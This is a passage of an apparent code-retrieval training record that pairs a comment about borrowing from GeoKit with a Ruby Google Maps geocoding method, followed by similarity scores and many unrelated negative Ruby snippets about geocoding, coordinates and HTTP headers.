recent?\n\t\t\t\tkeys = %w[message_delivery_time client_submit_time last_modification_time creation_time]\n\t\t\t\ttime = keys.each { |key| break time if time = props.send(key) }\n\t\t\t\ttime = nil unless Date === time\n\n\t\t\t\t# now convert and store\n\t\t\t\t# this is a little funky. not sure about time zone stuff either?\n\t\t\t\t# actually seems ok. maybe its always UTC and interpreted anyway. or can be timezoneless.\n\t\t\t\t# i have no timezone info anyway.\n\t\t\t\t# in gmail, i see stuff like 15 Jan 2007 00:48:19 -0000, and it displays as 11:48.\n\t\t\t\t# can also add .localtime here if desired. but that feels wrong.\n\t\t\t\theaders['Date'] = [Time.iso8601(time.to_s).rfc2822] if time\n\t\t\tend\n\n\t\t\t# some very simplistic mapping between internet message headers and the\n\t\t\t# mapi properties\n\t\t\t# any of these could be causing duplicates due to case issues. the hack in #to_mime\n\t\t\t# just stops re-duplication at that point. need to move some smarts into the mime\n\t\t\t# code to handle it.\n\t\t\tmapi_header_map = [\n\t\t\t\t[:internet_message_id, 'Message-ID'],\n\t\t\t\t[:in_reply_to_id, 'In-Reply-To'],\n\t\t\t\t# don't set these values if they're equal to the defaults anyway\n\t\t\t\t[:importance, 'Importance', proc { |val| val.to_s == '1' ? nil : val }],\n\t\t\t\t[:priority, 'Priority', proc { |val| val.to_s == '1' ? nil : val }],\n\t\t\t\t[:sensitivity, 'Sensitivity', proc { |val| val.to_s == '0' ? nil : val }],\n\t\t\t\t# yeah?\n\t\t\t\t[:conversation_topic, 'Thread-Topic'],\n\t\t\t\t# not sure of the distinction here\n\t\t\t\t# :originator_delivery_report_requested ??\n\t\t\t\t[:read_receipt_requested, 'Disposition-Notification-To', proc { |val| from }]\n\t\t\t]\n\t\t\tmapi_header_map.each do |mapi, mime, *f|\n\t\t\t\tnext unless q = val = props.send(mapi) or headers.has_key?(mime)\n\t\t\t\tnext if f[0] and !(val = f[0].call(val))\n\t\t\t\theaders[mime] = [val.to_s]\n\t\t\tend\n\t\tend",
"def build_pdf_header4(pdf)\n pdf.font \"Helvetica\" , :size => 8\n\n $lcCli = @company.name \n $lcdir1 = @company.address1+@company.address2+@company.city+@company.state\n\n $lcFecha1= Date.today.strftime(\"%d/%m/%Y\").to_s\n $lcHora = Time.now.to_s\n pdf.text \"FORMATO 13.1: REGISTRO DE INVENTARIO PERMANENTE VALORIZADO - DETALLE DEL INVENTARIO VALORIZADO \"\n pdf.text \"PERIODO : \" +@fecha1.to_s+ \" Hasta: \"+@fecha2.to_s , :size => 11 \n pdf.text \"RUC : 20555691263 \" \n pdf.text \"APELLIDOS Y NOMBRES, DENOMINACION O RAZON SOCIAL : GRUPO E & E S.A.C. \"\n pdf.text \"ESTABLECIMIENTO : ALMACEN\"\n\n pdf \n end",
"def view_order_header\n clear\n puts\n puts HEADER_LINE\n puts \"Please make your order\".upcase.center(HEADER_LENGTH)\n puts HEADER_LINE\n puts\nend",
"def headerprep(headers = {}) # :nodoc:\n default_headers = {}\n default_headers[\"X-Auth-Token\"] = @authtoken if (authok? && @account.nil?)\n default_headers[\"X-Storage-Token\"] = @authtoken if (authok? && !@account.nil?)\n default_headers[\"Connection\"] = \"Keep-Alive\"\n default_headers[\"User-Agent\"] = \"OpenStack::Compute Ruby API #{VERSION}\"\n default_headers[\"Accept\"] = \"application/json\"\n default_headers.merge(headers)\n end"
] |
[
"0.6433813",
"0.6284279",
"0.6250777",
"0.6246205",
"0.62141824",
"0.6179087",
"0.6177737",
"0.6161931",
"0.61340755",
"0.6130798",
"0.61269706",
"0.6091905",
"0.60538185",
"0.60305834",
"0.6021211",
"0.5972471",
"0.59471756",
"0.59197855",
"0.5900245",
"0.58930725",
"0.58779085",
"0.58564806",
"0.58347136",
"0.5827137",
"0.5792532",
"0.5785829",
"0.57709163",
"0.57614636",
"0.5755277",
"0.57364166",
"0.5736166",
"0.5736166",
"0.5736166",
"0.5736166",
"0.5732774",
"0.5729046",
"0.57122093",
"0.5711907",
"0.57110816",
"0.5708737",
"0.57011867",
"0.5693926",
"0.5692676",
"0.5688072",
"0.5688072",
"0.5686206",
"0.5686206",
"0.56861067",
"0.56696624",
"0.56669617",
"0.56573343",
"0.5657149",
"0.565448",
"0.56491405",
"0.5641773",
"0.5616909",
"0.5607148",
"0.5606968",
"0.56068206",
"0.56068206",
"0.56068206",
"0.559685",
"0.559685",
"0.55932426",
"0.5586398",
"0.5580367",
"0.55801016",
"0.5574427",
"0.5574427",
"0.55699545",
"0.5569779",
"0.5568841",
"0.5563108",
"0.5525929",
"0.5525356",
"0.55234295",
"0.55109197",
"0.55085486",
"0.5508154",
"0.55060595",
"0.5503779",
"0.5497599",
"0.5494267",
"0.5494267",
"0.54920936",
"0.5490746",
"0.54837126",
"0.54816294",
"0.5473144",
"0.54625154",
"0.5440085",
"0.543902",
"0.5435138",
"0.54281837",
"0.54252857",
"0.5414064",
"0.54113686",
"0.54110044",
"0.541063",
"0.541031",
"0.5410051"
] |
0.0
|
-1
|
much of this code was borrowed from GeoKit, thanks...
|
def get_live_response(address_info)
raise "API key not specified.\nCall AddressStandardization::GoogleMaps.api_key = '...' before you call .standardize()." unless GoogleMaps.api_key
address_info = address_info.stringify_keys
address_str = [
address_info["street"],
address_info["city"],
(address_info["state"] || address_info["province"]),
address_info["zip"]
].compact.join(" ")
url = "http://maps.google.com/maps/geo?q=#{address_str.url_escape}&output=xml&key=#{GoogleMaps.api_key}&oe=utf-8"
AddressStandardization.debug "[GoogleMaps] Hitting URL: #{url}"
uri = URI.parse(url)
res = Net::HTTP.get_response(uri)
return unless res.is_a?(Net::HTTPSuccess)
content = res.body
AddressStandardization.debug "[GoogleMaps] Response body:"
AddressStandardization.debug "--------------------------------------------------"
AddressStandardization.debug content
AddressStandardization.debug "--------------------------------------------------"
xml = Nokogiri::XML(content)
xml.remove_namespaces! # good or bad? I say good.
return unless xml.at("/kml/Response/Status/code").inner_text == "200"
addr = {}
addr[:street] = get_inner_text(xml, '//ThoroughfareName').to_s
addr[:city] = get_inner_text(xml, '//LocalityName').to_s
addr[:province] = addr[:state] = get_inner_text(xml, '//AdministrativeAreaName').to_s
addr[:zip] = addr[:postalcode] = get_inner_text(xml, '//PostalCodeNumber').to_s
addr[:country] = get_inner_text(xml, '//CountryName').to_s
return if addr[:street] =~ /^\s*$/ or addr[:city] =~ /^\s*$/
Address.new(addr)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def geo; end",
"def geopos(key, member); end",
"def geography_columns!; end",
"def coordquery(p)\r\nend",
"def geography_columns; end",
"def geodatos\n end",
"def geom_coords\n# self.geom.geometry_n(0).y.to_s + \" \" + self.geom.geometry_n(0).x.to_s\n \"\" + self.latitude.to_s + \" \" + self.longitude.to_s\n end",
"def to_latlng(easting, northing, type = :gb)\n\n \t if type == :ie\n @OSGB_F0 = 1.000035\n @N0 = 250000.0\n @E0 = 200000.0\n @phi0 = deg_to_rad(53.5)\n @lambda0 = deg_to_rad(-8.0)\n @a = 6377340.189\n @b = 6356034.447\n else\n @OSGB_F0 = 0.9996012717\n @N0 = -100000.0\n @E0 = 400000.0\n @phi0 = deg_to_rad(49.0)\n @lambda0 = deg_to_rad(-2.0)\n @a = 6377563.396\n @b = 6356256.909\n end\n\n @eSquared = ((@a * @a) - (@b * @b)) / (@a * @a)\n @phi = 0.0\n @lambda = 0.0\n @E = easting\n @N = northing\n @n = (@a - @b) / (@a + @b)\n @M = 0.0\n @phiPrime = ((@N - @N0) / (@a * @OSGB_F0)) + @phi0\n\n \t begin\n\n \t @M =\n \t (@b * @OSGB_F0)\\\n \t * (((1 + @n + ((5.0 / 4.0) * @n * @n) + ((5.0 / 4.0) * @n * @n * @n))\\\n \t * (@phiPrime - @phi0))\\\n \t - (((3 * @n) + (3 * @n * @n) + ((21.0 / 8.0) * @n * @n * @n))\\\n \t * Math.sin(@phiPrime - @phi0)\\\n \t * Math.cos(@phiPrime + @phi0))\\\n \t + ((((15.0 / 8.0) * @n * @n) + ((15.0 / 8.0) * @n * @n * @n))\\\n \t * Math.sin(2.0 * (@phiPrime - @phi0))\\\n \t * Math.cos(2.0 * (@phiPrime + @phi0)))\\\n \t - (((35.0 / 24.0) * @n * @n * @n)\\\n \t * Math.sin(3.0 * (@phiPrime - @phi0))\\\n \t * Math.cos(3.0 * (@phiPrime + @phi0))))\n\n \t @phiPrime += (@N - @N0 - @M) / (@a * @OSGB_F0)\n\n \t end while ((@N - @N0 - @M) >= 0.001)\n\n \t @v = @a * @OSGB_F0 * ((1.0 - @eSquared * sin_pow_2(@phiPrime)) ** -0.5)\n \t @rho =\n \t @a\\\n \t * @OSGB_F0\\\n \t * (1.0 - @eSquared)\\\n \t * ((1.0 - @eSquared * sin_pow_2(@phiPrime)) ** -1.5)\n \t @etaSquared = (@v / @rho) - 1.0\n \t @VII = Math.tan(@phiPrime) / (2 * @rho * @v)\n \t @VIII =\n \t (Math.tan(@phiPrime) / (24.0 * @rho * (@v ** 3.0)))\\\n \t * (5.0\\\n \t + (3.0 * tan_pow_2(@phiPrime))\\\n \t + @etaSquared\\\n \t - (9.0 * tan_pow_2(@phiPrime) * @etaSquared))\n \t @IX =\n \t (Math.tan(@phiPrime) / (720.0 * @rho * (@v ** 5.0)))\\\n \t * (61.0\\\n \t + (90.0 * tan_pow_2(@phiPrime))\\\n \t + (45.0 * tan_pow_2(@phiPrime) * tan_pow_2(@phiPrime)))\n \t @X = sec(@phiPrime) / @v\n \t @XI =\n \t (sec(@phiPrime) / (6.0 * @v * @v * @v))\\\n \t * ((@v / @rho) + (2 * tan_pow_2(@phiPrime)))\n \t @XII =\n \t (sec(@phiPrime) / (120.0 * (@v ** 5.0)))\\\n \t * (5.0\\\n \t + (28.0 * tan_pow_2(@phiPrime))\\\n \t + (24.0 * tan_pow_2(@phiPrime) * tan_pow_2(@phiPrime)))\n \t @XIIA =\n \t (sec(@phiPrime) / (5040.0 * (@v ** 7.0)))\\\n \t * (61.0\\\n \t + (662.0 * tan_pow_2(@phiPrime))\\\n \t + (1320.0 * tan_pow_2(@phiPrime) * tan_pow_2(@phiPrime))\\\n \t + (720.0\\\n \t * tan_pow_2(@phiPrime)\\\n \t * tan_pow_2(@phiPrime)\\\n \t * tan_pow_2(@phiPrime)))\n \t @phi =\n \t @phiPrime\\\n \t - (@VII * ((@E - @E0) ** 2.0))\\\n \t + (@VIII * ((@E - @E0) ** 4.0))\\\n \t - (@IX * ((@E - @E0) ** 6.0))\n \t @lambda =\n \t @lambda0\\\n \t + (@X * (@E - @E0))\\\n \t - (@XI * ((@E - @E0) ** 3.0))\\\n \t + (@XII * ((@E - @E0) ** 5.0))\\\n \t - (@XIIA * ((@E - @E0) ** 7.0))\n\n \t { :latitude => rad_to_deg(@phi), :longitude => rad_to_deg(@lambda) }\n\n \t end",
"def get_by_lat_lng\n\tend",
"def __spatial_column_name_wkt; end",
"def __spatial_column_name_geos; end",
"def meshcode2_coordinate(gps_info)\n grid_square_code = gps_info.to_s\n \n # calc from 1st grid square code\n lat = grid_square_code[0..1].to_f / 1.5; lon = grid_square_code[2..3].to_f + 100\n\n # calc from 2nd grid square code\n latcode = grid_square_code[4].to_f; loncode = grid_square_code[5].to_f\n lat += latcode * 5 / 60; lon += loncode * 7.5 / 60\n\n # calc from 3rd grid square code \n latcode = grid_square_code[6].to_f; loncode = grid_square_code[7].to_f\n lat += latcode * 0.5 / 60; lon += loncode * 0.75 / 60\n\n # calc from 4th grid square code \n num = grid_square_code[8].to_f - 1; latcode = (num / 2).to_i\n loncode = (num - latcode * 2).to_f; \n lat += latcode * 0.5 / 2 / 60; lon += loncode * 0.75 / 2 / 60\n\n # calc from 5th grid square code \n num = grid_square_code[9].to_f - 1\n latcode = (num / 2).to_i; loncode = (num - latcode * 2).to_f\n lat += latcode * 0.5 / 4 / 60; lon += loncode * 0.75 / 4 / 60\n\n # calc from 6th grid square code \n num = grid_square_code[10].to_f - 1\n latcode = (num / 2).to_i; loncode = (num - latcode * 2).to_f\n lat += latcode * 0.5 / 8 / 60; lon += loncode * 0.75 / 8 / 60\n\n mlat = 0.5 / 8; mlon = 0.75 / 8\n \n # left-down lat/ lon\n lat0 = lat; lon0 = lon\n # right-up lat/ lon\n lat1 = lat0 + mlat / 60; lon1 = lon0 + mlon / 60\n \n return lon0, lat0, lon1, lat1\n end",
"def get_containing_geography\n return self.geography\n end",
"def extract_geolocation\n img_lat = get_exif('GPSLatitude')[0][1].split(', ') rescue nil\n img_lng = get_exif('GPSLongitude')[0][1].split(', ') rescue nil\n lat_ref = get_exif('GPSLatitudeRef')[0][1] rescue nil\n lng_ref = get_exif('GPSLongitudeRef')[0][1] rescue nil\n return unless img_lat && img_lng && lat_ref && lng_ref \n latitude = to_frac(img_lat[0]) + (to_frac(img_lat[1])/60) + (to_frac(img_lat[2])/3600)\n longitude = to_frac(img_lng[0]) + (to_frac(img_lng[1])/60) + (to_frac(img_lng[2])/3600) \n latitude = latitude * -1 if lat_ref == 'S' # (N is +, S is -)\n longitude = longitude * -1 if lng_ref == 'W' # (W is -, E is +) \n self.latitude = latitude\n self.longitude = longitude\n end",
"def loc_geographic\n FACTORY.unproject(self.loc)\n end",
"def __spatial_column_name_ewkt; end",
"def locations; end",
"def get_json_from_openstreetmaps(key,val,constrain_to_usa = true)\n timeout = 20000\n bounds = \"#{CONTINENTAL_US[:s]},#{CONTINENTAL_US[:w]},#{CONTINENTAL_US[:n]},#{CONTINENTAL_US[:e]}\"\n bounds_string = constrain_to_usa ? \"(#{bounds})\" : \"\"\n\n #This string fetches all geometry of a way including center points, but does not restrict how many ways to download\n #str = \"data=[out:json][timeout:#{timeout}];way[\\\"#{key}\\\"=\\\"#{val}\\\"](#{bounds_string});foreach((._;>;);out center #{NUMBER_TO_DOWNLOAD};);\"\n\n #This string fetches almost all geometry of a way except for center points. Does restrict number to download. \n str = \"data=[out:json][timeout:#{timeout}][maxsize:1073741824];way[\\\"#{key}\\\"=\\\"#{val}\\\"]#{bounds_string};out count;out meta geom #{NUMBER_TO_DOWNLOAD};\"\n\n print str\n base_url = \"http://overpass-api.de/api/interpreter?\"\n url = \"#{base_url}#{URI.escape(str)}\"\n puts url\n response = Typhoeus.get(url, {followlocation: true, timeout: timeout})\n response.body\nend",
"def visit_in_spatial_context(node_)\n case node_\n when ::String\n \"#{st_func('ST_WKTToSQL')}(#{visit_String(node_)})\"\n when ::RGeo::Feature::Instance\n visit_RGeo_Feature_Instance(node_)\n when ::RGeo::Cartesian::BoundingBox\n visit_RGeo_Cartesian_BoundingBox(node_)\n else\n visit(node_)\n end\n end",
"def geo_dist(from, to)\n return 40000 if [from.lat, from.lon, to.lat, to.lon].any?(&:nil?)\n EARTH_DIAMETER * Math.asin(Math.sqrt(\n Math.cos(from.lat) * Math.cos(to.lat) *\n Math.sin((from.lon - to.lon)/2) ** 2 +\n Math.sin((from.lat - to.lat)/2) ** 2\n ))\nend",
"def __spatial_column_name_ewkb; end",
"def geolocate \n Zoogle.graveyard_locator(self.graveyard)\n \"#{loc[:latitude]}, #{loc[:longitude]}\"\n end",
"def geodist(key, member1, member2, unit = T.unsafe(nil)); end",
"def build_centroids\n #sql = \"SELECT b.ogc_fid as id, ST_AsGeoJSON(ST_centroid(b.wkb_geometry)) as geo FROM buildings b\"\n sql = \"SELECT b.ogc_fid as id,\n st_x(st_transform(ST_Centroid(b.wkb_geometry),4326)) as lng,\n st_y(st_transform(ST_Centroid(b.wkb_geometry),4326)) as lat\n FROM buildings b;\"\n result_set = ActiveRecord::Base.connection.execute(sql)\n results = {}\n\n result_set.each do |row|\n results[row['id']] = [row['lng'],row['lat']]\n end\n results\n end",
"def compute_geometry_in_memory\n sites_with_location = sites.select{|x| x.lat && x.lng}\n min_lat, max_lat, min_lng, max_lng = 90, -90, 180, -180\n sites_with_location.each do |site|\n min_lat = site.lat if site.lat < min_lat\n max_lat = site.lat if site.lat > max_lat\n min_lng = site.lng if site.lng < min_lng\n max_lng = site.lng if site.lng > max_lng\n end\n set_bounding_box min_lat, max_lat, min_lng, max_lng\n end",
"def notes_geojson\n\t \t{ 'type' => 'FeatureCollection', \n\t \t 'features' => aw.notes_geo \n\t \t}\n\t \tend",
"def find_center(collection)\n sum_lat = 0.0\n sum_lng = 0.0\n count = 0\n collection.each do |llp| # should be a collection of LatLonPoints\n count += 1\n sum_lat += llp.lat unless llp.lat.nil?\n sum_lng += llp.lon unless llp.lon.nil?\n end\n {:lng => sum_lng / count, :lat => sum_lat / count} #return a hash\n [sum_lat/count, sum_lng/count] # return an array\n end",
"def finish_coords\n marker_coords('F')\n end",
"def fill_from_gemo\r\n end",
"def georss_w3cgeo_representation(options)\r\n w3cgeo_ns = options[:w3cgeo_ns] || \"geo\"\r\n \r\n \"<#{w3cgeo_ns}:lat>#{self[0][0].y}</#{w3cgeo_ns}:lat>\\n<#{w3cgeo_ns}:long>#{self[0][0].x}</#{w3cgeo_ns}:long>\\n\"\r\n end",
"def locate_pins(location); end",
"def map_locs\n [location]\n end",
"def map_locs\n [location]\n end",
"def lmap; end",
"def __spatial_column_name_wkb; end",
"def geometry_columns; end",
"def belongsToWhichPostcode lat, lon\n\tsmallestPostcode = Postcode\n\tsmallestDist = 9999999999999999999.0\n\t#we want to look at all post codes & find closest\n\tPosition.all.each do |pos|\n\t\tif pos.postcodes.last\n\t\t\tcurrentDist = Math.sqrt( ((pos.latitude.to_f - lat).abs)**2 + ((pos.longitude.to_f - lon).abs)**2 )\n\t\t\tif(currentDist < smallestDist)\n\t\t\t\tsmallestDist = currentDist\n\t\t\t\tsmallestPostcode = pos.postcodes\n\t\t\tend\n\t\tend\n\tend\n\t#return the last postcode that was made for that position\n\tsmallestPostcode.last\nend",
"def resembles_latlng?\n !!coordinates\n end",
"def extract_coordinates(parsed)\n parsed['results'].first['geometry']['location']\nend",
"def search_with_geography(keywords, options = {})\n unless keywords.blank?\n # For backwards compatibility\n options[:count] ||= options[:rows] || 10\n \n parameters = {\n :start => options[:start] && options[:start].to_i || 0,\n :rows => options[:count] && options[:count].to_i > 0 && options[:count].to_i < 100 && options[:count].to_i || 10\n }\n \n parameters[:fq] = bounds_query(options[:bounds]) if options[:bounds].present?\n \n places = []\n facets = []\n \n results = PublicEarth::Db::Place.search_for keywords, parameters\n places = results.models\n \n # Tack on a possible map location, such as a city or country? Maybe the user was searching\n # to move the map, not look for places?\n where = nil\n unless options[:e]\n where = PublicEarth::Db::Where.am_i?(keywords, options[:bounds])\n where = nil if where.score.nil?\n end\n \n # A bold substitute for a rules engine! (There is a paper flowchart of this somewhere...)\n if options[:bounds]\n if places.blank?\n if where.present? \n [:reposition, where, nil, nil]\n else\n [:display, nil, nil, nil]\n end\n else\n if where.present?\n if where.score > 3.0\n [:prompt, where, results]\n else\n [:display, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n else\n if places.blank? && where.blank?\n [:display, nil, nil]\n else\n if where.present?\n if where.score > 0.4 && !options[:recursed]\n if where.score > 2.0\n k = keywords.downcase\n # Temporary stop terms...FIX!!!\n (\"in for from near by where around over under \" + where.name.downcase).split(/\\s+/).each do |word|\n k.gsub! /\\b#{word}\\b/, ''\n end\n options.merge!({ :bounds => where.bounds, :recursed => true })\n \n again = search_with_geography(k, options)\n if again[2].blank?\n [:reposition, where, nil, nil]\n else\n [:display, where, again.last]\n end\n else\n [:prompt, where, results]\n end\n else\n [:suggest, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n end\n else\n [:display, nil, nil, nil]\n end\n end",
"def geometry_columns!; end",
"def map_name; end",
"def getgm() end",
"def map\n\n end",
"def geoObject()\n return @shape ;\n end",
"def get_map;\t@map \t\tend",
"def georss_w3cgeo_representation(options = {}) #:nodoc:\r\n w3cgeo_ns = options[:w3cgeo_ns] || \"geo\"\r\n point = self.center\r\n \"<#{w3cgeo_ns}:lat>#{point.y}</#{w3cgeo_ns}:lat>\\n<#{w3cgeo_ns}:long>#{point.x}</#{w3cgeo_ns}:long>\\n\"\r\n end",
"def latitude\n self.wkb_geometry.coordinates[1]\n end",
"def longitude; end",
"def correct_geo_coords\n coords = params.seek :geo, :geojson, :geometry, :coordinates\n if coords\n array = GeosHelper.geo_coords_to_array(coords)\n params[:geo][:geojson][:geometry][:coordinates] = array\n end\n end",
"def find_city(lat,lng)\n if Geocoder::Calculations.distance_between([lat,lng], [40.698390,-73.98843]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [40.76813,-73.96439]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76423,-122.47743]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76912,-122.42593]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.85887,2.30965]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.86068,2.36389]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [51.51,-0.13]) < 20\n \"london\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.57664,-46.69787]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.55838,-46.64362]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.64446,139.70695]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.70136,139.73991]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.06901,-118.35904]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.07499,-118.28763]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.02663,-118.45998]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [50.07832,14.41619]) < 20\n \"prague\"\n else\n \"unknown\"\n end\n end",
"def use_hidden_geometry?\n end",
"def best_zoom(collection, center_point, width, height)\n min_lat, max_lat, min_lng, max_lng = 0, 0, 0, 0\n collection.each do |loc|\n if loc.class == Location\n min_lat = loc.lat if loc.lat < min_lat\n max_lat = loc.lat if loc.lat > max_lat\n min_lng = loc.lng if loc.lng < min_lng\n max_lng = loc.lng if loc.lng > max_lng\n elsif loc.class == Array # expecting [lat, lng] array elements\n min_lat = loc.first if loc.first < min_lat\n max_lat = loc.first if loc.first > max_lat\n min_lng = loc.last if loc.last < min_lng\n max_lng = loc.last if loc.last > max_lng\n end\n end\n distance_diag = calculate_distance2(min_lat, min_lng, max_lat, max_lng)\n pixels_diag = Math.sqrt(width ** 2 + height ** 2)\n meters_per_pixel_needed = distance_diag / pixels_diag\n # compare here, meters per pixel to this number for different zoom levels\n zoom_levels_yahoo = [0, 2**0, 2**1, 2**2, 2**3, 2**4, 2**5, 2**6, 2**7, 2**8, 2**9, 2**10, 2**11, 2**12, 2**13, 2**14, 2**15, 2**16, 2**17] #start close in and zoom out\n zoom_levels_yahoo.each_with_index do |zl, i|\n zoom = (18 - i) if meters_per_pixel_needed > zl\n end\n zoom = 10 if (zoom.nil? || zoom == 0)\n zoom\n end",
"def get_closest_edge_vertices(lat, lon)\n #Override this function in the corresponding extension (tiger and osm initially)\n return nil\n end",
"def partial() \"single/geometryfield\" ; end",
"def coord_geographic\n FACTORY.unproject(self.coord)\n end",
"def based_near\n descMetadata.has_location #.map(&:location_name).flatten\n end",
"def hash_for_location(offense); end",
"def coordinateRegionForItems(items, itemsCount)\n r = MKMapRectNull\n (0..itemsCount).each do |i|\n p = MKMapPointForCoordinate(items[i].coordinate)\n r = MKMapRectUnion(r, MKMapRectMake(p.x, p.y, 0.0, 0.0))\n end\n region = MKCoordinateRegionForMapRect(r)\n\n puts region \n\n region.span.latitudeDelta = region.span.latitudeDelta + region.span.latitudeDelta * 0.5\n region.span.longitudeDelta = region.span.longitudeDelta + region.span.longitudeDelta * 0.8\n\n puts region.span.latitudeDelta \n puts region.span.longitudeDelta\n region\n end",
"def geoname_id; end",
"def geoname_id; end",
"def geoname_id; end",
"def geoname_id; end",
"def geohash(key, member); end",
"def to_WGS84\n\n\t if @type == :ie\n\t @a = 6377340.189\n\t @b = 6356034.447\n else\n @a = 6377563.396\n @b = 6356256.909\n end\n\n @eSquared = ((@a * @a) - (@b * @b)) / (@a * @a)\n\n @phi = deg_to_rad(@latitude)\n @lambda = deg_to_rad(@longitude)\n @v = @a / (Math.sqrt(1 - @eSquared * sin_pow_2(@phi)))\n @H = 0\n @x = (@v + @H) * Math.cos(@phi) * Math.cos(@lambda)\n @y = (@v + @H) * Math.cos(@phi) * Math.sin(@lambda)\n @z = ((1 - @eSquared) * @v + @H) * Math.sin(@phi)\n\n @tx = 446.448\n @ty = -124.157\n @tz = 542.060\n\n @s = -0.0000204894\n @rx = deg_to_rad( 0.00004172222)\n @ry = deg_to_rad( 0.00006861111)\n @rz = deg_to_rad( 0.00023391666)\n\n @xB = @tx + (@x * (1 + @s)) + (-@rx * @y) + (@ry * @z)\n @yB = @ty + (@rz * @x) + (@y * (1 + @s)) + (-@rx * @z)\n @zB = @tz + (-@ry * @x) + (@rx * @y) + (@z * (1 + @s))\n\n @a = 6378137.000\n @b = 6356752.3141\n @eSquared = ((@a * @a) - (@b * @b)) / (@a * @a)\n\n @lambdaB = rad_to_deg(Math.atan(@yB / @xB))\n @p = Math.sqrt((@xB * @xB) + (@yB * @yB))\n @phiN = Math.atan(@zB / (@p * (1 - @eSquared)))\n\n (1..10).each do |i|\n @v = @a / (Math.sqrt(1 - @eSquared * sin_pow_2(@phiN)))\n @phiN1 = Math.atan((@zB + (@eSquared * @v * Math.sin(@phiN))) / @p)\n @phiN = @phiN1\n end\n\n @phiB = rad_to_deg(@phiN)\n\n { :latitude => @phiB, :longitude => @lambdaB }\n\n end",
"def geolocate\n \"#{self.address}\"', '\"#{self.state}\"', '\"#{self.zipcode}\"\n end",
"def geocoded?\n read_coordinates.compact.size > 0\n end",
"def areas_by_radius(lat, lon, radius_meters)\n #get min/max latitude and longitude of radius around point\n min_lat, min_lon, max_lat, max_lon = radius_box = bounding_box(lat, lon, radius_meters)\n\n #estimate the size of boxes to target\n steps = estimate_steps_by_radius(radius_meters)\n #re-encode point using steps\n #the geohashes are composed of 32 distinct numbers/letters, basically base 32\n #bits are composed of 1s and 0s, base 2 or binary\n #steps is the length of the binary number for longitude and latitude, and the combined length of the binary string (which interleaves both the longitude and latitude) is 2*steps\n # since 32 is 2^5, while 2 is 2^1, the length of a base 32 number will be the length of a binary number divided by 5 and plus 1 (32 base 10 = 10000 base 2 = 10 base 32).\n str_len = steps*2/5 + 1\n hash = encode(lat, lon, str_len)\n\n #get neighbors of box\n neighbors = neighbors(hash)\n neighbors_neighbors = neighbors.each_with_object([]) {|neighbor, nb| nb << neighbors(neighbor)}\n\n # 25 geohashes surrounding the original\n nb = neighbors_neighbors.flatten.uniq\n\n # remove those geohashes that are outside the bounding box\n nb.each do |neighbor|\n n_latlng_low, n_latlng_high = decode(neighbor)\n if n_latlng_low[0] > max_lat or n_latlng_low[1] > max_lon or n_latlng_high[0] < min_lat or n_latlng_high[1] < min_lon\n nb -= [neighbor]\n end\n end\n\n #return remaining neighbor list\n nb\n end",
"def visit_in_spatial_context(node, collector)\n case node\n when String\n collector << \"#{st_func('ST_WKTToSQL')}(#{quote(node)})\"\n when RGeo::Feature::Instance\n collector << visit_RGeo_Feature_Instance(node, collector)\n when RGeo::Cartesian::BoundingBox\n collector << visit_RGeo_Cartesian_BoundingBox(node, collector)\n else\n visit(node, collector)\n end\n end",
"def location_string_from_feature(feature)\n location = feature.locations.first\n location_string = location.range.to_s\n if location.strand == -1 #negative strand\n location_string = \"complement(#{location_string})\"\n end\n location_string\nend",
"def latitude; end",
"def get_matches_with_coordinates(spatial_term)\n Item.connection.select_all(\"\n SELECT DISTINCT * FROM (\n SELECT unnest(dcterms_spatial) spatial FROM items\n ) s WHERE spatial LIKE $$#{spatial_term}%, %.%, %.%$$;\n \")\n end",
"def viewMap(address, to_lat, to_lng, callback)\n puts \"viewMap(address:#{address}, to_lat:#{to_lat}, to_lng:#{to_lng}, callback:#{callback}\"\n\n if GeoLocation.known_position?\n from_lat = GeoLocation.latitude\n from_lng = GeoLocation.longitude\n else\n from_lat = 34.3932857\n from_lng = 132.4705439\n from_lat = 34.4893270\n from_lng = 133.3614320\n from_lat = 35.005018\n from_lng = 135.889155\n end\n\n if callback\n #GeoLocation.set_notification(url_for(:action => :geo_callback), \"\")\n GeoLocation.set_notification(callback, \"\")\n end\n\n puts \"from:#{from_lat},#{from_lng} => to:#{to_lat},#{to_lng}\"\n puts \"distance: #{GeoLocation.haversine_distance(from_lat,from_lng,to_lat,to_lng)}\"\n\n #region = [@params['latitude'], @params['longitude'], 1/69.0, 1/69.0] #miles\n #region = [@params['latitude'], @params['longitude'], 1/111.0, 1/111.0] #km\n region = [(to_lat + from_lat) / 2, (to_lng + from_lng) / 2,\n (to_lat - from_lat).abs, (to_lng - from_lng).abs]\n\n url = \"http://maps.google.jp/maps/api/directions/json?\" +\n \"origin=#{from_lat},#{from_lng}&\" +\n \"destination=#{to_lat},#{to_lng}&\" +\n \"mode=walking&\" +\n \"language=ja&\" +\n \"sensor=true\"\n #puts url\n\n res2 = Rho::AsyncHttp.get(\n :url => url,\n #:headers => {\"Cookie\" => cookie},\n )\n #puts res2.inspect\n #puts res2[\"status\"]\n\n# if res2[\"status\"] == \"ok\"\n# end\n\n myannotations = []\n\n #puts res2[\"body\"].inspect\n #puts res2[\"body\"][\"status\"]\n #puts res2[\"body\"][\"routes\"].size\n #puts 